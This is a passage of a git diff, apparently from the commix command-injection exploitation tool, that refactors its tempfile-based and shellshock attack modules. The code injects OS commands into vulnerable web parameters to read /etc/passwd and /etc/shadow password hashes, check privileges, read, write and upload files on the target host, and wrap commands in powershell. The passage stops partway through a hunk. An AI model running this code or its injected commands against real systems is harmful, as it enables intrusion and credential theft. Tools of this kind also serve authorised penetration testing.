- cmd = settings.SYS_PASSES
- #print(settings.SINGLE_WHITESPACE)
- if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
- check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
- _ = True
- if output == False:
- output = ""
- session_handler.store_cmd(url, cmd, output, vuln_parameter)
- else:
- output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- sys_passes = output
- if sys_passes == "":
- sys_passes = " "
- if sys_passes :
- info_msg = "Fetching content of the file '" + settings.SHADOW_FILE
- info_msg += "' in order to enumerate users password hashes. "
- print(settings.print_info_msg(info_msg))
- sys_passes = sys_passes.replace(" ", "\n")
- sys_passes = sys_passes.split()
- if len(sys_passes) != 0 :
- info_msg = "Identified " + str(len(sys_passes))
- info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1]
- info_msg += " in '" + settings.SHADOW_FILE + "'."
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg )
- output_file.close()
- count = 0
- for line in sys_passes:
- count = count + 1
- try:
- if ":" in line:
- fields = line.split(":")
- if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "":
- print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL)
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
- output_file.close()
- # Check for appropriate '/etc/shadow' format.
- except IndexError:
- if count == 1 :
- warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not "
- warn_msg += "in the appropriate format. Thus, it is expoted as a text file."
- print(settings.print_warning_msg(warn_msg))
- print(fields[0])
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(" " + fields[0])
- output_file.close()
- else:
- warn_msg = "It seems that you don't have permissions to read the '"
- warn_msg += settings.SHADOW_FILE + "' file."
- print(settings.print_warning_msg(warn_msg))
+ output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
+ sys_passes = output
+ checks.print_passes(sys_passes, filename, _)
"""
Single os-shell execution
@@ -555,13 +263,27 @@ def reset():
if menu.options.users:
if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
+ if settings.TARGET_OS == "win":
+ info_msg = "Executing the 'net users' command "
+ info_msg += "in order to enumerate users entries. "
+ else:
+ info_msg = "Fetching content of the file '" + settings.PASSWD_FILE
+ info_msg += "' in order to enumerate users entries. "
+ print(settings.print_info_msg(info_msg))
system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
reset()
if menu.options.passwords:
if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
- system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
+ if settings.TARGET_OS == "win":
+ check_option = "--passwords"
+ checks.unavailable_option(check_option)
+ else:
+ info_msg = "Fetching content of the file '" + settings.SHADOW_FILE
+ info_msg += "' in order to enumerate users password hashes. "
+ print(settings.print_info_msg(info_msg))
+ system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
reset()
# eof
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
index 625f19e774..af0174c117 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
@@ -19,228 +19,113 @@
from src.utils import menu
from src.utils import settings
from src.utils import session_handler
+from src.core.injections.controller import checks
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector
-from src.core.injections.semiblind.techniques.file_based import fb_injector
"""
The "tempfile-based" injection technique on Semiblind OS Command Injection.
__Warning:__ This technique is still experimental, is not yet fully functional and may leads to false-positive resutls.
"""
-
-"""
-Read a file from the target host.
-"""
-def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
- _ = False
- file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode()
- info_msg = "Fetching content of the file: '"
- info_msg += file_to_read + "'."
- print(settings.print_info_msg(info_msg))
-
- # Execute command
- if settings.TARGET_OS == "win":
- cmd = settings.WIN_FILE_READ + file_to_read
- else:
- cmd = settings.FILE_READ + file_to_read
- if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
- # The main command injection exploitation.
- check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
- session_handler.store_cmd(url, cmd, output, vuln_parameter)
- _ = True
- else:
- output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- shell = output
- try:
- shell = "".join(str(p) for p in shell)
- except TypeError:
- pass
- if settings.VERBOSITY_LEVEL == 0 and _:
- print(settings.SINGLE_WHITESPACE)
- if shell:
- _ = "Fetched file content"
- print(settings.print_retrieved_data(_, shell))
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = "Extracted content of the file '"
- info_msg += file_to_read + "' : " + shell + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- else:
- sys.stdout.flush()
- warn_msg = "It seems that you don't have permissions "
- warn_msg += "to read the content of the file '" + file_to_read + "'."
- print(settings.print_warning_msg(warn_msg))
"""
Write to a file on the target host.
"""
def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
- file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode()
- if not os.path.exists(file_to_write):
- warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist."
- print(settings.print_warning_msg(warn_msg))
- raise SystemExit()
- if os.path.isfile(file_to_write):
- with open(file_to_write, 'r') as content_file:
- content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file]
- content = "".join(str(p) for p in content).replace("'", "\"")
- if settings.TARGET_OS == "win":
- import base64
- content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode()
- else:
- warn_msg = "It seems that '" + file_to_write + "' is not a file."
- print(settings.print_warning_msg(warn_msg))
- if os.path.split(menu.options.file_dest)[1] == "" :
- dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
- elif os.path.split(menu.options.file_dest)[0] == "/":
- dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
- else:
- dest_to_write = menu.options.file_dest
-
- info_msg = "Trying to write the content of the file '"
- info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'."
- print(settings.print_info_msg(info_msg))
-
- # Execute command
+ file_to_write, dest_to_write, content = checks.check_file_to_write()
if settings.TARGET_OS == "win":
from src.core.injections.results_based.techniques.classic import cb_injector
whitespace = settings.WHITESPACES[0]
- dest_to_write = dest_to_write.replace("\\","/")
- # Find path
- path = os.path.dirname(dest_to_write)
- path = path.replace("/","\\")
- # Change directory
- cmd = "cd " + path
+ cmd = checks.change_dir(dest_to_write)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
- # Find filename
- filname = os.path.basename(dest_to_write)
- tmp_filname = "tmp_" + filname
- cmd = settings.FILE_WRITE + content + ">" + tmp_filname
- if not menu.options.alter_shell :
- cmd = "\"" + cmd + "\""
+ fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content)
+ if not menu.options.alter_shell:
+ cmd = checks.quoted_cmd(cmd)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
- # Decode base 64 encoding
- cmd = "certutil -decode " + tmp_filname + " " + filname
- if not menu.options.alter_shell :
- cmd = "\"" + cmd + "\""
+ cmd = checks.win_decode_b64_enc(fname, tmp_fname)
+ if not menu.options.alter_shell:
+ cmd = checks.quoted_cmd(cmd)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
cb_injector.injection_results(response, TAG, cmd)
- # Delete tmp file
- cmd = "del " + tmp_filname
- if not menu.options.alter_shell :
- cmd = "\"" + cmd + "\""
+ cmd = checks.delete_tmp(tmp_fname)
+ if not menu.options.alter_shell:
+ cmd = checks.quoted_cmd(cmd)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
cb_injector.injection_results(response, TAG, cmd)
- # Check if file exists
- cmd = "if exist " + filname + " (echo " + filname + ")"
- if not menu.options.alter_shell :
- cmd = "'" + cmd + "'"
- dest_to_write = path + "\\" + filname
+ # cmd = "if exist " + fname + " (echo " + fname + ")"
+ # dest_to_write = dest_to_write + "\\" + fname
+ cmd = checks.check_file(dest_to_write)
+ if not menu.options.alter_shell:
+ cmd = checks.quoted_cmd(cmd)
else:
- cmd = settings.FILE_WRITE + "'" + content + "'" + ">" + "'" + dest_to_write + "'" + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write
+ cmd = checks.write_content(content, dest_to_write)
+ cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
shell = output
shell = "".join(str(p) for p in shell)
# Check if file exists
- cmd = "echo $(ls " + dest_to_write + ")"
+ cmd = checks.check_file(dest_to_write)
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
- check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
- shell = output
- try:
- shell = "".join(str(p) for p in shell)
- except TypeError:
- pass
+ check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
+ shell = "".join(str(p) for p in shell)
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
- if shell:
- info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'."
- print(settings.print_bold_info_msg(info_msg))
+ checks.file_write_status(shell, dest_to_write)
+
+"""
+Read a file from the target host.
+"""
+def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
+ _ = False
+ cmd, file_to_read = checks.file_content_to_read()
+ if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
+ check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
+ session_handler.store_cmd(url, cmd, shell, vuln_parameter)
+ _ = True
else:
- warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'."
- print(settings.print_warning_msg(warn_msg))
+ shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
+ shell = "".join(str(p) for p in shell)
+ if settings.VERBOSITY_LEVEL == 0 and _ and len(shell) != 0:
+ print(settings.SINGLE_WHITESPACE)
+ checks.file_read_status(shell, file_to_read, filename)
"""
Upload a file on the target host.
"""
def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
- if settings.TARGET_OS == "win":
- check_option = "--file-upload"
- checks.unavailable_option(check_option)
- pass
- else:
- file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode()
- # check if remote file exists.
- try:
- _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT)
- except _urllib.error.HTTPError as err_msg:
- warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")"
- sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n")
- sys.stdout.flush()
- raise SystemExit()
- except ValueError as err_msg:
- err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1]
- print(settings.print_critical_msg(err_msg))
- print(settings.SINGLE_WHITESPACE)
- raise SystemExit()
- # Check the file-destination
- if os.path.split(menu.options.file_dest)[1] == "" :
- dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1]
- elif os.path.split(menu.options.file_dest)[0] == "/":
- dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
- else:
- dest_to_upload = menu.options.file_dest
-
- info_msg = "Trying to upload the file from '"
- info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'."
- print(settings.print_info_msg(info_msg))
-
- # Execute command
- cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
- check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
- shell = output
- shell = "".join(str(p) for p in shell)
- # Check if file exists!
- if settings.TARGET_OS == "win":
- cmd = "dir " + dest_to_upload + ")"
- else:
- cmd = "echo $(ls " + dest_to_upload + ")"
- if settings.VERBOSITY_LEVEL == 0:
- print(settings.SINGLE_WHITESPACE)
- check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
- shell = output
- try:
- shell = "".join(str(p) for p in shell)
- except TypeError:
- pass
- if settings.VERBOSITY_LEVEL == 0:
- print(settings.SINGLE_WHITESPACE)
- if shell:
- info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'."
- print(settings.print_bold_info_msg(info_msg))
- else:
- warn_msg = "It seems that you don't have permissions to upload files on the remote direcoty '" + dest_to_upload + "'."
- print(settings.print_warning_msg(warn_msg))
+ cmd, dest_to_upload = checks.check_file_to_upload()
+ check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
+ shell = "".join(str(p) for p in shell)
+ cmd = checks.check_file(dest_to_upload)
+ check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
+ shell = "".join(str(p) for p in shell)
+ if settings.VERBOSITY_LEVEL == 0:
+ print(settings.SINGLE_WHITESPACE)
+ checks.file_upload_status(shell, dest_to_upload)
"""
Check the defined options
"""
def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
-
if menu.options.file_write:
file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
if settings.FILE_ACCESS_DONE == False:
settings.FILE_ACCESS_DONE = True
- if menu.options.file_upload:
- file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
+ if menu.options.file_read:
+ file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
if settings.FILE_ACCESS_DONE == False:
settings.FILE_ACCESS_DONE = True
- if menu.options.file_read:
- file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
+ if menu.options.file_upload:
+ if settings.TARGET_OS == "win":
+ check_option = "--file-upload"
+ checks.unavailable_option(check_option)
+ else:
+ file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
if settings.FILE_ACCESS_DONE == False:
settings.FILE_ACCESS_DONE = True
+
# eof
\ No newline at end of file
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
index c3a67f2012..3a202c4fcb 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
@@ -450,10 +450,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
if settings.TARGET_OS == "win":
time.sleep(1)
- _ = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True :
- _ = True
while True:
message = "Do you want to ignore stored session and enumerate again? [y/N] > "
enumerate_again = common.read_input(message, default="N", check_batch=True)
@@ -474,12 +472,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
pass
else:
if menu.enumeration_options():
- _ = True
tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
- if settings.FILE_ACCESS_DONE == False and _ == False:
- print(settings.SINGLE_WHITESPACE)
-
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
while True:
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
index 1367d0678a..e690061edc 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
@@ -178,7 +178,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
if settings.TARGET_OS == "win":
previous_cmd = cmd
if alter_shell:
- cmd = "\"" + cmd + "\""
+ cmd = cmd = checks.quoted_cmd(cmd)
else:
cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()"
@@ -361,7 +361,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese
if settings.TARGET_OS == "win":
previous_cmd = cmd
if alter_shell:
- cmd = "\"" + cmd + "\""
+ cmd = cmd = checks.quoted_cmd(cmd)
else:
cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()"
diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py
index 7f7b8d5b21..665a50f84b 100755
--- a/src/core/modules/shellshock/shellshock.py
+++ b/src/core/modules/shellshock/shellshock.py
@@ -78,49 +78,23 @@ def shellshock_exploitation(cve, cmd):
Enumeration Options
"""
def enumeration(url, cve, check_header, filename):
-
- #-------------------------------
- # Hostname enumeration
- #-------------------------------
+ _ = False
if menu.options.hostname:
info_msg = "Fetching hostname."
print(settings.print_info_msg(info_msg))
cmd = settings.HOSTNAME
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
if shell:
- info_msg = "Hostname: " + str(shell) + "."
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = info_msg + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- else:
- warn_msg = "Heuristics have failed to identify the hostname."
- print(settings.print_warning_msg(warn_msg))
+ checks.print_hostname(shell, filename, _)
settings.ENUMERATION_DONE = True
- #-------------------------------
- # The current user enumeration
- #-------------------------------
if menu.options.current_user:
info_msg = "Fetching current user."
print(settings.print_info_msg(info_msg))
cmd = settings.CURRENT_USER
cu_account, payload = cmd_exec(url, cmd, cve, check_header, filename)
if cu_account:
- info_msg = "Current user: " + str(cu_account) + "."
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = "Current user: " + str(cu_account) + ".\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- else:
- warn_msg = "Heuristics have failed to fetch the current user."
- print(settings.print_warning_msg(warn_msg))
+ checks.print_current_user(cu_account, filename, _)
settings.ENUMERATION_DONE = True
if menu.options.is_root:
@@ -129,22 +103,10 @@ def enumeration(url, cve, check_header, filename):
cmd = re.findall(r"" + "\$(.*)", settings.IS_ROOT)
cmd = ''.join(cmd).replace("(","").replace(")","")
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
- _ = "True"
- if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
- (settings.TARGET_OS != "win" and shell != "0"):
- _ = "False"
-
- info_msg = "Current user has excessive privileges: " + str(_)
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
-
- #-------------------------------
- # Retrieve system information
- #-------------------------------
+ if shell:
+ checks.print_current_user_privs(shell, filename, _)
+ settings.ENUMERATION_DONE = True
+
if menu.options.sys_info:
info_msg = "Fetching the underlying operating system information."
print(settings.print_info_msg(info_msg))
@@ -158,191 +120,27 @@ def enumeration(url, cve, check_header, filename):
target_os = target_os + " " + distro_name
cmd = settings.RECOGNISE_HP
target_arch, payload = cmd_exec(url, cmd, cve, check_header, filename)
- if target_os and target_arch:
- info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")"
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = info_msg + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- else:
- info_msg = "Operating system: " + target_os + "."
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = "Operating system: " + str(target_os) + ".\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- else:
- warn_msg = "Heuristics have failed to fetch underlying operating system information."
- print(settings.print_warning_msg(warn_msg))
+ checks.print_os_info(target_os, target_arch, filename, _)
settings.ENUMERATION_DONE = True
- #-------------------------------
- # System users enumeration
- #-------------------------------
if menu.options.users:
cmd = settings.SYS_USERS
- sys_users, payload = cmd_exec(url, cmd, cve, check_header, filename)
info_msg = "Fetching content of the file '" + settings.PASSWD_FILE
info_msg += "' in order to enumerate users entries. "
print(settings.print_info_msg(info_msg))
- try:
- if sys_users[0] :
- sys_users = "".join(str(p) for p in sys_users).strip()
- if len(sys_users.split(" ")) <= 1 :
- sys_users = sys_users.split("\n")
- else:
- sys_users = sys_users.split(" ")
- # Check for appropriate '/etc/passwd' format.
- if len(sys_users) % 3 != 0 :
- warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is "
- warn_msg += "not in the appropriate format. Thus, it is expoted as a text file."
- print(settings.print_warning_msg(warn_msg))
- sys_users = " ".join(str(p) for p in sys_users).strip()
- print(sys_users)
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(" " + sys_users)
- output_file.close()
- else:
- sys_users_list = []
- for user in range(0, len(sys_users), 3):
- sys_users_list.append(sys_users[user : user + 3])
- if len(sys_users_list) != 0 :
- info_msg = "Identified " + str(len(sys_users_list))
- info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
- info_msg += " in '" + settings.PASSWD_FILE + "'."
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- count = 0
- for user in range(0, len(sys_users_list)):
- sys_users = sys_users_list[user]
- sys_users = ":".join(str(p) for p in sys_users)
- count = count + 1
- fields = sys_users.split(":")
- fields1 = "".join(str(p) for p in fields)
- # System users privileges enumeration
- try:
- if not fields[2].startswith("/"):
- raise ValueError()
- if menu.options.privileges:
- if int(fields[1]) == 0:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
- is_privileged_nh = " is root user "
- elif int(fields[1]) > 0 and int(fields[1]) < 99 :
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
- is_privileged_nh = " is system user "
- elif int(fields[1]) >= 99 and int(fields[1]) < 65534 :
- if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
- is_privileged_nh = " is anonymous user "
- elif int(fields[1]) == 60002:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
- is_privileged_nh = " is non-trusted user "
- else:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
- is_privileged_nh = " is regular user "
- else :
- is_privileged = ""
- is_privileged_nh = ""
- else :
- is_privileged = ""
- is_privileged_nh = ""
- print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
- output_file.close()
- except ValueError:
- if count == 1 :
- warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the "
- warn_msg += "appropriate format. Thus, it is expoted as a text file."
- print(settings.print_warning_msg(warn_msg))
- sys_users = " ".join(str(p) for p in sys_users.split(":"))
- print(sys_users)
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(" " + sys_users)
- output_file.close()
- else:
- print(settings.SINGLE_WHITESPACE)
- warn_msg = "It seems that you don't have permissions to read the '"
- warn_msg += settings.PASSWD_FILE + "'."
- ptint(settings.print_warning_msg(warn_msg))
- except TypeError:
- pass
- except IndexError:
- print(settings.SINGLE_WHITESPACE)
- warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '"
- warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
- print(settings.print_warning_msg(warn_msg))
- pass
+ sys_users, payload = cmd_exec(url, cmd, cve, check_header, filename)
+ if sys_users:
+ checks.print_users(sys_users, filename, _)
settings.ENUMERATION_DONE = True
- #-------------------------------------
- # System password enumeration
- #-------------------------------------
if menu.options.passwords:
+ info_msg = "Fetching content of the file '" + settings.SHADOW_FILE
+ info_msg += "' in order to enumerate users password hashes. "
+ print(settings.print_info_msg(info_msg))
cmd = settings.SYS_PASSES
sys_passes, payload = cmd_exec(url, cmd, cve, check_header, filename)
if sys_passes :
- sys_passes = "".join(str(p) for p in sys_passes)
- sys_passes = sys_passes.replace(" ", "\n")
- sys_passes = sys_passes.split( )
- if len(sys_passes) != 0 :
- info_msg = "Fetching content of the file '" + settings.SHADOW_FILE
- info_msg += "' in order to enumerate users password hashes. "
- print(settings.print_info_msg(info_msg))
- sys_passes = sys_passes.replace(" ", "\n")
- sys_passes = sys_passes.split()
- if len(sys_passes) != 0 :
- info_msg = "Identified " + str(len(sys_passes))
- info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1]
- info_msg += " in '" + settings.SHADOW_FILE + "'."
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg )
- output_file.close()
- count = 0
- for line in sys_passes:
- count = count + 1
- try:
- if ":" in line:
- fields = line.split(":")
- if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "":
- print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL)
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
